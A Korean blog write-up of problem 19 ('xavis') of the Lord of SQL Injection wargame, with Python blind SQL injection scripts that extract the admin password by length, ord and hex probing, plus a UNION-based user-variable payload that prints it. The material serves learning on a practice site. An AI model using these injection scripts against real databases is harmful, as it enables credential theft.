์ƒˆ์†Œ์‹

Game/los

Lord of sql injection [19]

  • -
๋ฐ˜์‘ํ˜•

๋ฌธ์ œ ํ’€์ด์— ์•ž์„œ์„œ 19๋ฒˆ ๋ฌธ์ œ๋Š”

๋ฌธ์ œ ํ’€์ด๊ณผ์ •์—์„œ "๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•œ๋‹ค"๋Š” ๋ชฉ์ ๋ณด๋‹ค, ๋‹ค๋ฅธ ๋งŽ์€ ์šฐํšŒ๊ธฐ๋ฒ•๊ณผ, ๊ทธ์™ธ์— ๋งŽ์€ ์ง€์‹์„

์–ป์–ด ๊ฐˆ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ์ž„์ด ๋ถ„๋ช…ํ•ด์„œ, ๊ธธ๊ฒŒ ์–ป์€ ์ง€์‹๋“ค์„ ๋‚˜์—ดํ•ด ๋†“์•˜์œผ๋‹ˆ

ํ•ด๋‹ต๋งŒ ๋ณด๊ณ  ์‹ถ์œผ์‹  ๋ถ„๋“ค์€ ๋ฐ”๋กœ ๊ทธ๋ƒฅ ์•„๋ž˜๋กœ ๋‚ด๋ ค์ฃผ์„ธ์š”.

 


 

 

[๋ฌธ์ œ 19]

 

์‹ค์ œ admin์˜ pw์™€ ์ผ์น˜ ํ•ด์•ผ ํ•ด๊ฒฐ๋˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค.

like๋ฅผ ๋ง‰๊ณ  ์žˆ๋„ค์š”.

์ฒ˜์Œ ์ฝ”๋“œ๋ฅผ ๋ณผ๋• ์–ด? ๋ง‰๋Š”๊ฒŒ ๋ณ„๋กœ ์—†๋„ค?! ๋„ˆ๋ฌด ์‰ฌ์šด๊ฑฐ ์•„๋‹Œ...!?........๊ฐ€..?

๋„ค, ์‹ค์ˆ˜์˜€๊ณ ์š” 

 

 

์ผ๋‹จ ์ฐธ์ผ ๋•Œ hello admin์„ ์ถœ๋ ฅ์‹œ์ผœ์ฃผ๋‹ˆ, blind sql injection์œผ๋กœ ๋ณด๊ณ  ํ’€๊ฑด๋ฐ............

์Œ ์•„๋ฌด๋ฆฌ ์ƒ๊ฐํ•ด๋„ ์ € regex() ์ •๊ทœํ‘œํ˜„์‹?์ด ์™œ ๋ง‰ํžŒ์งˆ ๋ชจ๋ฅด๊ฒ ๋„ค์š”.

 

์ผ๋‹จ ๊ธธ์ด๋ฅผ ์•Œ์•„๋‚ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

 

๊ธฐ์กด ์ฝ”๋“œ์—๋Š” ๊ฐ’์ด ์•ˆ ๋‹ด๊ธฐ๊ธธ๋ž˜ num ์˜ ๊ฐ’์„ ๋Š˜๋ ค ์ค€ ํ›„ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œ์ผœ๋ดค๋”๋‹ˆ,

 

import requests
from bs4 import BeautifulSoup

query1 = "\'or length(pw)=%d #"
dbname =[]

#print("์ƒํƒœ ์ฝ”๋“œ : ",res.status_code)

print("========= Blind SQL injection ===========")
# 1. ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” DB ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ.

print("######################data ๋ถ„์„ ์ค‘")

for num in range(0, 100):
    dbname = [query1 % num]
    cookies = {'PHPSESSID': '85440fct0n9jjuk00t1rdl7tpo'}
    params = {'pw': dbname}
    res = requests.get('https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php', params=params, cookies=cookies)
    code = res.text  # ์ „์ฒด ์ฝ”๋“œ
    search = "Hello admin"  # ์ฐธ์ผ์‹œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ ๊ฐ’

    if search in code:
        print("Password Length : ",num)
        break




print("###########################์™„๋ฃŒ")

 

๊ฒฐ๊ณผ๋Š” '12' ์˜€์Šต๋‹ˆ๋‹ค.

 

 

 

์•„๋ž˜ ์ฝ”๋“œ๋Š”  g0pher.tistory.com/m/400 

๋‹˜์˜ ๋ธ”๋กœ๊ทธ์—์„œ ๊ฐ€์ ธ์˜จ ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.

๊ทธ๋ƒฅ ์ฝ”๋“œ๊ฐ€ ๋ฏธ์นœ๊ฒƒ ๊ฐ™์•„์š”....์™€ ์ง„์งœ ์–ด๋–ป๊ฒŒ ์ด๋Ÿฐ ์ฝ”๋“œ๊ฐ€ ๋‚˜์˜ค๋Š”์ง€ ์ œ ๋จธ๋ฆฌ๋กœ๋Š” ์‚ฌ์‹ค ์ฝ”๋“œ ์ดํ•ด๊ฐ€ ์ž˜ 

์•ˆ๋˜๋„ค์š”...

 

 

import requests

url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
session = {'PHPSESSID': '85440fct0n9jjuk00t1rdl7tpo'}
data = {}

flag = ""

print("flag : ", end='')

for i in range(1, 4):
    a = 0
    b = 100000
    while b - a != 0:
        center = a + (b - a) // 2 + 1
        data['pw'] = "' or id='admin' and ord(mid(pw," + str(i) + ",1))<" + str(center) + "#"
        res = requests.get(url, params=data, cookies=session)
        if "Hello admin" in res.text:
            b = center - 1
        else:
            a = center
    print(chr(a), end='')
    flag = flag + chr(a)

data['pw'] = flag
res = requests.get(url, params=data, cookies=session)

if "Clear!" in res.text:
    print("\n XAVIS Clear!")

 

 

flag๋ฅผ ์ฐพ์•˜์œผ๋ฉด ๊ฐ’์„ ๋„ฃ์–ด์ค๋‹ˆ๋‹ค.

 

 

 

Clear

 

์ด ๋ฌธ์ œ๋ฅผ ํ’€๋ฉด์„œ ์™€..์„ธ์ƒ์— ์ฒœ์žฌ๊ฐ€ ์ฐธ ๋งŽ๊ตฌ๋‚˜....

์ •๋ง ์–ด๋ ต๊ฒŒ ์ดํ•ดํ•œ ๋ฌธ์ œ ์˜€์Šต๋‹ˆ๋‹ค..(์ œ๊ฐ€ ์Šค์Šค๋กœ ํ’€์–ด๋ณด๊ณ  ์‹ถ์—ˆ๋Š”๋ฐ ์˜ค๋žœ ์‚ฝ์งˆ ๋์—๋„ ์•„๋Š” ์ง€์‹์ด ์ „๋ฌดํ•˜๋‹ค๋ณด๋‹ˆ ์–ด๋ ต๋„ค์š”.)

ํ‘ธ๋Š” ๊ฒƒ๋„ ์–ด๋ ต์ง€๋งŒ ํ’€์ด๋ฅผ ์ดํ•ดํ•˜๋Š” ๊ฒƒ๋„ ๋งŒ๋งŒ์น˜ ์•Š๋„ค์š”..

 

 

 

1. ์‚ฝ์งˆ์˜ ๊ณผ์ •(ordํ•จ์ˆ˜์™€ ํ™•์žฅ ์•„์Šคํ‚ค์ฝ”๋“œ๋ฅผ ์•Œ๊ณ ์‹ถ๋‹ค๋ฉด?) 

โ–ผ โ–ผ โ–ผ

๋”๋ณด๊ธฐ

์ฟผ๋ฆฌ๋ฅผ ์ž…๋ ฅํ•ด๋ณด์•˜๋”๋‹ˆ,

 

 

hello admin์ด ๋ณด์ž…๋‹ˆ๋‹ค.

 

pw๋ฅผ ์ฐพ๊ธฐ์œ„ํ•ด ์ด์ „์— ์“ฐ๋˜ ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•ด๋ณด์•˜๋Š”๋ฐ์š”, 

 

 

๋ชจ๋“  ๊ฐ’์ด 0 ์ด ๋‚˜์™”๋„ค์š”.

 

ํ˜น์‹œ๋‚˜ ํ•˜๋Š” ๋งˆ์Œ์— ํ™•์ธ ์ฐจ ๊ฐ’์„ ๋„ฃ์–ด๋ณด์•˜๋Š”๋ฐ,

 

 

ํ˜น์‹œ ๋‹ต์€ 000000000000 ????!?!?

 

๋„ค ์•„๋‹ˆ๊ณ ์š”;

 

 

์™œ 0์ด ๋‚˜์˜จ๊ฑธ์ง€ ํ•œ์ฐธ ๊ณ ๋ฏผํ•ด๋ดค์Šต๋‹ˆ๋‹ค. ํ˜น์‹œ๋‚˜ ํ•˜๋Š” ๋งˆ์Œ์— ์ด์ „์— ์ผ๋˜, ์–ด๋Š ๋ธ”๋กœ๊ทธ์—์„œ ์ฐธ๊ณ ํ•ด์„œ ๊ฐ€์ ธ์˜จ

bit์—ฐ์‚ฐ ์ฝ”๋“œ๋ฅผ ๊ฐ€์ ธ์™”๋Š”๋ฐ

 

 

๋ฌด์–ธ๊ฐ€ ๋‚˜์˜ค๊ธฐ๋Š” ํ•˜๋„ค์š”, ๋น„ํŠธ๋กœ ์—ฐ์‚ฐํ•˜๋Š” ๋ฌธ์ œ ์ธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

๊ทธ๋ž˜์„œ ๋„ฃ์–ด๋ดค๋Š”๋ฐ, ๋„ค ์—ญ์‹œ ์•ˆ๋˜๋„ค์š”. (๋งž์ถคํ˜• ์ฝ”๋“œ๋Š” ์•„๋‹ˆ๋‹ˆ๊นŒ.^^..)

 

์ด๋ ‡๊ฒŒ ํ•œ 2์‹œ๊ฐ„ ์ •๋„ ์‚ฝ์งˆ์„ ํ•˜๊ณ  ๊ฒฐ๊ตญ ๋‹ค๋ฅธ ๋ถ„๋“ค์˜ ๋ธ”๋กœ๊ทธ๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ 

ord๋ผ๋Š” ํ•จ์ˆ˜๊นŒ์ง€ ์•Œ๊ฒŒ ๋˜์—ˆ๋Š”๋ฐ, ๊ฒฐ๊ตญ ๊ทธ ๋˜ํ•œ ํ•ด๊ฒฐ๋ฐฉ๋ฒ•์ด ์•„๋‹ˆ์˜€์–ด์š”...;

(rubiya๋ž‘ ์„ž์—ฌ์„œ ๋‹ค๋ฅธ ๋ฌธ์ œ์ธ๋ฐ ๋ฒˆํ˜ธ๋งŒ ๊ฐ™์€๋“ฏ)

 

 

 

255๊นŒ์ง€ ๋Œ์•„๋„ ๊ฐ’์ด ์•ˆ๋ฝ‘ํ˜€์„œ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์‹œ๋„ํ•ด๋ณด์•˜์Šต๋‹ˆ๋‹ค..;;

 

์ผ๋‹จ ์œ„ ์‹คํ–‰ ์ฝ”๋“œ๋Š” ์ด๊ฒ๋‹ˆ๋‹ค.

import requests
from bs4 import BeautifulSoup

query1 = "\' or ord(substr(pw,%d,1))= %d #"
dbname = []
password = []

word = ['\'a\'', '\'b\'', '\'c\'', '\'d\'', '\'e\'', '\'f\'', '\'g\'',
        '\'h\'', '\'i\'', '\'j\'', '\'k\'', '\'l\'', '\'m\'', '\'n\'', '\'o\'', '\'p\'', '\'q\'', '\'r\'', '\'s\'',
        '\'t\'', '\'u\'', '\'v\'', '\'w\'', '\'x\'', '\'y\'', '\'z\'', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ƒํƒœ ์ฝ”๋“œ : ",res.status_code)

print("========= Blind SQL injection ===========")
# 1. ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” DB ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ.

print("######################data ๋ถ„์„ ์ค‘")

num = 1
while num <= 12:

    for i in range(1,256):
        dbname = [query1 % (num, i)]
        
        cookies = {'PHPSESSID': '85440fct0n9jjuk00t1rdl7tpo'}
        params = {'pw': dbname}
        res = requests.get('https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php', params=params, cookies=cookies)
        code = res.text  # ์ „์ฒด ์ฝ”๋“œ
        search = "Hello admin"  # ์ฐธ์ผ์‹œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ ๊ฐ’

        if search in code: #์ฝ”๋“œ์•ˆ์— ์ฐธ์ผ ์‹œ ๋‚˜์˜ค๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋ฉด
            print(num,"Data : ", i)
            #print(dbname)
            break


    num = num+1

print("###########################์™„๋ฃŒ")
print('pwd : ', '_'.join(password))

(์œ„ ์ฝ”๋“œ๋Š” rubiya๋ฒ„์ „ ๋ง๊ณ  ์ด์ „๋ฒ„์ „ los์— 19๋ฒˆ ๋ฌธ์ œ๋ฅผ ํ’€๋•Œ ์‚ฌ์šฉํ•˜์‹œ๋ฉด ๋ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.)

 

๋‹ค๋ฅธ ๋ถ„๋“ค์˜ ํ•ด์„ค์„ ๋ณด์•˜๋Š”๋ฐ ์ฒซ๊ธ€์ž์˜ ๊ธธ์ด๊ฐ€ 4 ์ฆ‰, 4byte์ด๊ธฐ ๋•Œ๋ฌธ์—

extbrain.tistory.com/30

namu.wiki/w/UTF-8

 

 

์œ ๋‹ˆ์ฝ”๋“œ๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค. ์ œ๊ฐ€ ์ด๋ถ€๋ถ„์— ๋Œ€ํ•ด์„œ ์ž˜ ์บ์น˜๋ฅผ ๋ชปํ–ˆ์—ˆ๋Š”๋ฐ ์œ„ ์‚ฌ์ดํŠธ๋“ค์„ ์‚ดํŽด๋ณด๋ฉด ์œ ๋‹ˆ์ฝ”๋“œ๊ฐ€

UTF-8 ๋ฌธ์„œ์— ๊ฒฝ์šฐ ๊ฐ ๋ฌธ์ž๋ฅผ 1~4Byte๊นŒ์ง€ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ, ํ•œ๊ธ€์€ ํ•œ ๊ธ€์ž๋‹น 1~4Byte์— ๊ธธ์ด๊ฐ€ ๋ฐ˜ํ™˜๋˜์–ด ์ •ํ™•ํ•œ ๋ฌธ์ž์—ด์˜ ๊ธธ์ด๋ฅผ ์•Œ ์ˆ˜ ์—†๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

 

 

์ถœ์ฒ˜ : https://blog.naver.com/okopok5019/221690265566

 

 

์ฆ‰, ์œ ๋‹ˆ์ฝ”๋“œ(ํ™•์žฅ ์•„์Šคํ‚ค ์ฝ”๋“œ)๋ผ๊ณ  ํ•˜๋”๊ตฐ์š”.

์ €๋„ ์ด๋ฒˆ์— ์œ ๋‹ˆ์ฝ”๋“œ์™€ ํ™•์žฅ ์•„์Šคํ‚ค ์ฝ”๋“œ์˜ ๊ด€๊ณ„๋ฅผ ์ฒ˜์Œ ์•Œ๊ฒŒ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

 

 

์ถœ์ฒ˜ : ๊ตฌ๊ธ€ ์œ„ํ‚ค ๋ฐฑ๊ณผ

 

ํ•˜์—ฌํŠผ.. ordํ•จ์ˆ˜์— ๋Œ€ํ•ด ๊ฐ„๋‹จํžˆ ์•Œ์•„๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

zkdlwnfm.tistory.com/50

 

[php] ASCII ๊ด€๋ จ ํ•จ์ˆ˜ chr, ord

โ— chr (ASCII ๋ฒˆํ˜ธ)  : ASCII ๋ฒˆํ˜ธ์— ํ•ด๋‹นํ•˜๋Š” ๋ฌธ์ž๋ฅผ ๋ฆฌํ„ด โ— ord ("๋ฌธ์ž") : ๋ฌธ์ž์— ํ•ด๋‹นํ•˜๋Š” ASCII ๋ฒˆํ˜ธ๋ฅผ ๋ฆฌํ„ด * ์œ„์˜ ๋‘ ํ•จ์ˆ˜๋Š” ๋ชจ๋‘ 1๋ฐ”์ดํŠธ์˜ ๋ฌธ์ž๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ํ•จ์ˆ˜๋‹ค. ๋”ฐ๋ผ์„œ ํ•œ๊ธ€๊ณผ..

zkdlwnfm.tistory.com

์œ„ ๋ธ”๋กœ๊ทธ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

 

>> My sql ๋‚ด์žฅํ•จ์ˆ˜์—๋Š” ord()ํ•จ์ˆ˜๊ฐ€ ์กด์žฌํ•จ.

์ด ํ•จ์ˆ˜๋Š” ๋ฌธ์ž์—ด์˜ ๊ฐ€์žฅ ์™ผ์ชฝ ๋ฌธ์ž๊ฐ€ ๋ฉ€ํ‹ฐ๋ฐ”์ดํŠธ์ผ ๊ฒฝ์šฐ, ๊ณต์‹์„ ์ด์šฉํ•˜์—ฌ ASCII ์ •์ˆ˜ ๊ฐ’์œผ๋กœ ๋Œ๋ ค์ค€๋‹ค.

 

 

2.  ์ด ๋ฌธ์ œ์˜ ํ’€์ด ๊ณผ์ •

โ–ผ โ–ผ โ–ผ

๋”๋ณด๊ธฐ

์ด ๋ฌธ์ œ๋Š” ํ’€์ด๊ณผ์ •์ด ๋งค์šฐ ๋‹ค์–‘ํ–ˆ๋Š”๋ฐ์š”,

๋Œ€ํ‘œ์ ์ธ ๋ฐฉ๋ฒ• ๋‘๊ฐ€์ง€๋ฅผ ์ฐธ๊ณ ํ•ด์„œ ์˜ฌ๋ฆฌ๋ ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

 

 

๋ฐฉ๋ฒ• 1) 

 

4byte * 3 = 12

๊ธธ์ด๊ฐ€ 12 ๋ผ๋Š”๊ฑด 3๊ธ€์ž (ํ•œ๊ธ€) ์ด๋ผ๊ณ  ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ์Œ.

 

๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— hex๋ผ ์˜ˆ์ƒํ•˜๊ณ  hex๊ฐ’์œผ๋กœ pw๋ฅผ ๊ตฌํ•ด๋ด…๋‹ˆ๋‹ค.

 

hex -> chr() ๋กœ ๋ฐ”๊ฟ”์„œ ์ •๋‹ต์„ ๊ตฌํ•˜๋Š”๊ฑฐ์ฃ .

 

์ถœ์ฒ˜ :https://ghdwn0217.tistory.com/60

 

์œ„์™€ ๊ฐ™์€ ์‹์œผ๋กœ ์ดํ•ดํ•˜์‹œ๋ฉด ๋˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

์ผ๋‹จ ์ œ๊ฐ€ ํ’€์ด๋ฅผ ๋ณด๋ฉด์„œ ํ’€๋‹ค๊ฐ€ ์ดํ•ด๋ฅผ ํ–ˆ๋Š”๋ฐ์š”

 

์ด๋ฌธ์ œ์—์„œ pw๊ธธ์ด๋Š” ์ด 12byte์˜€์Šต๋‹ˆ๋‹ค.

 

์ฆ‰ 4byte (utf-32) ์œ ๋‹ˆ์ฝ”๋“œ๋ผ๋Š” ์˜๋ฏธ๋กœ 4byte์˜ ์œ ๋‹ˆ์ฝ”๋“œ 3๊ธ€์ž 

์ฆ‰ ํ•œ๊ธ€ 3๊ธ€์ž๋ผ๊ณ  ์ถ”์ธกํ•˜๊ณ  ๊ฐ€์ •ํ•˜์—ฌ ๊ตฌํ•ด๋ณด๋ฉด

 

0xโ—‹โ—‹โ—‹โ—‹โ—‹โ—‹โ—‹โ—‹ => ์ด๋Ÿฐํ˜•ํƒœ๋กœ 4byte์ฆ‰ 'ํ•œ๊ธ€' ํ•œ๊ธ€์ž๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฒ๋‹ˆ๋‹ค.

 

hex (=16์ง„์ˆ˜)๋Š” 0x00 => 1byte๋กœ 8๋น„ํŠธ ์ฆ‰ ํ•œ์ž๋ฆฌ์ˆ˜๋‹น 4bit +4bit ์ด 8๋น„ํŠธ๋กœ 1byte๋ฅผ ์˜๋ฏธํ•˜๊ณ 

8๊ฐœ == 4byte๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

 

๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ’์ด ์ด 8*3 = 24 ๊ธ€์ž ์ฆ‰ 4byte๊ฐ€ ๋‚˜์˜ค๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด์ฃ .

 

์ด์ „ ๋ฌธ์ œ๋“ค์˜ pw๊ฐ™์€ ๊ฒฝ์šฐ ๋Œ€๋ถ€๋ถ„ ์˜์–ด 8๊ธ€์ž ์ฆ‰ '8byte' ๊ฐ€ ๋Œ€๋ถ€๋ถ„์ด์˜€๊ธฐ ๋•Œ๋ฌธ์— ํ—ท๊ฐˆ๋ฆด ์ˆ˜ ์žˆ์ง€๋งŒ

์œ ๋‹ˆ์ฝ”๋“œ, ASCII์ฝ”๋“œ๋“ฑ ๋ถ€ํ˜ธ์ฒด๊ณ„๋ฅผ ์ดํ•ดํ•˜๋ฉด ์‰ฝ๊ฒŒ ์ดํ•ดํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ ์ธ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค.

 

์ด์ œ ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•ด์„œ

์ด 24๊ธธ์ด์˜ hex๊ฐ’์„ ๋ฝ‘์•„๋‚ด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

 

 

import requests
from bs4 import BeautifulSoup

query1 = "\' or substr(hex(pw),%d,1)= %s #"
dbname = []
password = []

word = ['\'a\'', '\'b\'', '\'c\'', '\'d\'', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#print("์ƒํƒœ ์ฝ”๋“œ : ",res.status_code)

print("========= Blind SQL injection ===========")
# 1. ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๋Š” DB ๊ธธ์ด ์•Œ์•„๋‚ด๊ธฐ.

print("######################data ๋ถ„์„ ์ค‘")


num = 1
while num <= 24:

    for src in word:
        dbname = [query1 % (num, src)]

        cookies = {'PHPSESSID': '85440fct0n9jjuk00t1rdl7tpo'}
        params = {'pw': dbname}
        res = requests.get('https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php', params=params, cookies=cookies)
        code = res.text  # ์ „์ฒด ์ฝ”๋“œ
        search = "Hello admin"  # ์ฐธ์ผ์‹œ ๋‚˜์˜ค๋Š” ๊ฒฐ๊ณผ ๊ฐ’

        if search in code: #์ฝ”๋“œ์•ˆ์— ์ฐธ์ผ ์‹œ ๋‚˜์˜ค๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ€ ์žˆ๋‹ค๋ฉด
            print(num,"Data : ", src)
            password += src
            break


    num = num+1


print("###########################์™„๋ฃŒ")
print('pw(24) : ', ''.join(password))

 

์ด๋ ‡๊ฒŒ ๊ธธ์ด๋ฅผ ์•ˆ๋‹ค ๊ฐ€์ •ํ•˜๊ณ  ์ฝ”๋“œ๋ฅผ ๊ณ ์ณค์„ ๋•Œ

 

์•„๋ž˜์ฒ˜๋Ÿผ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋„ค์š”

์ฆ‰ 0000c6b0 // 0000c655 // 0000ad73

 

์ด 24๊ธ€์ž 12byte 

4byte 'ํ•œ๊ธ€' * 3๊ธ€์ž๊ฐ€ ๋งž๋„ค์š”

 

python ๋‚ด์žฅํ•จ์ˆ˜ chr(i)๋กœ ์•„์Šคํ‚ค(ASCII) ์ฝ”๋“œ ๊ฐ’(16์ง„์ˆ˜)์„ ์ž…๋ ฅ๋ฐ›์•„ ๊ทธ ์ฝ”๋“œ์— ํ•ด๋‹นํ•˜๋Š”

๋ฌธ์ž๋ฅผ ์ถœ๋ ฅํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. 16์ง„์ˆ˜์ด๋ฏ€๋กœ, 0x๋ฅผ ๋ถ™์—ฌ์ค๋‹ˆ๋‹ค.

 

์ •๋‹ต : '์šฐ์™•๊ตณ' ์ด ๋‚˜์˜ค๋„ค์š”. ํ™•์žฅํ˜•?์ธ๊ฒƒ์ธ์ง€ ์•ž์— 0000์ด ๊ตณ์ด ์•ˆ๋ถ™์–ด๋„ ๋˜๋Š”๋ฐ ๋ถ™์–ด์žˆ์–ด์š”

์ด๊ฒŒ utf-32ํ˜•์‹์œผ๋กœ ์ €๋Š” ์ดํ•ดํ–ˆ์Šต๋‹ˆ๋‹ค.

 

 

์ผ๋‹จ ์ฒซ๋ฒˆ์งธ ๋ฐฉ๋ฒ•์œผ๋กœ ์ •๋‹ต ํš๋“ 

 

Clear

 

 

๋ฐฉ๋ฒ• 2)

 

์ด ๋ฐฉ๋ฒ•์€ ๋„ˆ๋ฌด ์‹ ๋ฐ•ํ•˜๊ณ  ์ฒ˜์Œ ๋ณด๋Š” ๋ฐฉ๋ฒ•์ด๋ผ, ๋ณด์ž๋งˆ์ž ์ •๋ง

์™€.. ๊ฐ•๋ ฅํ•˜๋‹ค ๋Š๊ผˆ์Šต๋‹ˆ๋‹ค.

 

์ด ๋ฐฉ๋ฒ•์€ 

dorahee.tistory.com/132

 

los - xavis

๋ฌธ์ œ ์†Œ์Šค์ฝ”๋“œ ์ด๋•Œ๊นŒ์ง€ ํ’€์—ˆ๋˜ los ๋ฌธ์ œ ์ค‘ ๊ฐ€์žฅ ๊นŒ๋‹ค๋กญ๊ณ  ์งœ์ฆ ๋‚˜๋Š” ๋ฌธ์ œ์ด๋‹ค. 1. ๋ณ„๋‹ค๋ฅธ ํ•„ํ„ฐ๋ง์€ ์กด์žฌ ํ•˜์ง€ ์•Š๋‹ค. regex, like๋ฅผ ํ•„ํ„ฐ๋งํ•˜๊ณ  ์žˆ๋Š”๋Œ€ ์ผ๋‹จ ์ € 2๊ฐœ๋Š” ์•ˆ ์“ธ ๊ฑฐ๋‹ˆ๊นŒ ๋ฌด์‹œ ์ผ๋‹จ admin pw๏ฟฝ๏ฟฝ

dorahee.tistory.com

์ด ๋ธ”๋กœ๊ทธ ์•„๋ž˜ ๋ถ€๋ถ„์˜ ๋‚ด์šฉ์„ ํ™•์ธํ•ด์ฃผ์„ธ์š”. (์•„๋ž˜๋Š” ๋ธ”๋กœ๊ทธ ์ฐธ๊ณ  ํ›„ ๋‚จ๊ธด ๊ฒƒ์ž…๋‹ˆ๋‹ค.)

 


 

SELECT @a: =pw FROM prob_xavis 

์ด๋ ‡๊ฒŒ ์œ„์™€ ๊ฐ™์ด ์ฟผ๋ฆฌ๋ฅผ ์ž‘์„ฑํ–ˆ์„ ๊ฒฝ์šฐ

prob_xavis ํ…Œ์ด๋ธ”์— ์žˆ๋Š” pw ์ปฌ๋Ÿผ ๊ฐ’์„ @a์— ๋„ฃ์œผ๋ผ๋Š” ๋œป์ด๋‹ค.

 

์›๋ž˜ ๋ณ€์ˆ˜ ์•ˆ์— ๊ฐ’์„ ๋„ฃ๋Š” ๊ฒƒ ์ž์ฒด๋Š” false๋ฅผ ์˜๋ฏธํ•˜์ง€๋งŒ

๊ฒฐ๊ณผ ๊ฐ’์€ ์ถœ๋ ฅ์ด ๋œ๋‹ค๊ณ  ํ•œ๋‹ค.

 

pw=%27%20or%20(select%20@a:=pw%20where%20id%20=%20%27admin%27)%20union%20select%20@a--%20

 

ํŒจ์Šค์›Œ๋“œ ๋’ค ์ฟผ๋ฆฌ๋Š” ์œ„์™€ ๊ฐ™๋‹ค.

' or (select @a:=pw where id = 'admin') union select @a-- 

๊ผญ -- ๋ฅผ ํ•˜๊ณ  ๋‚˜์„œ %20 ์ฆ‰ ์ŠคํŽ˜์ด์Šค๋ฅผ ํ•ด์ฃผ์–ด์•ผ ์‹คํ–‰์ด ๋œ๋‹ค.

 

๊ฒฐ๊ณผ๋Š”

 

 

์™€..์ง„์งœ ์ด๋Ÿฐ์ฟผ๋ฆฌ๋Š” ๋‚œ์ƒ ์ฒ˜์Œ๋ณธ๋‹ค..(;)

 

or๋กœ pw๋ฅผ ์ด์–ด์„œ ๊ฐ’์„ ์ฐธ์œผ๋กœ ๋งŒ๋“ค๊ณ , (์›๋ž˜ ๊ฐ’์€ false๋‹ˆ๊นŒ, ๋’ค์— union ์œผ๋กœ @a-- ๋ฅผ ์ค€ ๊ฒƒ ๊ฐ™์Œ)

์ถœ๋ ฅ์„ ํ•ด๋‚ธ๋‹ค. union์œผ๋กœ ์•ž์— ์ถœ๋ ฅ๋ฌธ hello + ์šฐ์™•๊ตณ ( id = admin์˜ pw๊ฐ’)

์„ ํ•จ๊ป˜ ์ถœ๋ ฅ์‹œ์ผœ์„œ ์ด ๊ฐ’์„ ์•Œ์•„๋‚ธ ํ›„ 

pw =์šฐ์™•๊ตณ ์„ ํ•ด์ฃผ๋ฉด

 

๋ฌธ์ œ Clear

 

 

 

 

3. ์ฐธ๊ณ ํ•˜๋ฉด ์ข‹์„ ์‚ฌ์ดํŠธ

โ–ผ โ–ผ โ–ผ

๋”๋ณด๊ธฐ

dingue.tistory.com/16

 

์•„์Šคํ‚ค ์ฝ”๋“œ, ์œ ๋‹ˆ์ฝ”๋“œ ๊ทธ๋ฆฌ๊ณ  UTF-8, UTF-16

์ธ์ฝ”๋”ฉ ๋ถ€ํ˜ธํ™”๋‚˜ ์ธ์ฝ”๋”ฉ์€ ์ •๋ณด์˜ ํ˜•ํƒœ๋‚˜ ํ˜•์‹์„ ๋ณ€ํ™˜ํ•˜๋Š” ์ฒ˜๋ฆฌ๋‚˜ ์ฒ˜๋ฆฌ๋ฐฉ์‹ ๋ฌธ์ž ์ธ์ฝ”๋”ฉ์€ ๋ฌธ์ž๋“ค์˜ ์ง‘ํ•ฉ์„ ๋ถ€ํ˜ธํ™” ํ•˜๋Š” ๋ฐฉ์‹ → ์–ด๋–ค ์ •๋ณด๋ฅผ ๋ฏธ๋ฆฌ ์•ฝ์†ํ•œ ๊ทœ์น™์œผ๋กœ ๊ฐ€๊ณตํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ฌธ์ž ๏ฟฝ๏ฟฝ

dingue.tistory.com

dorahee.tistory.com/132

 

los - xavis

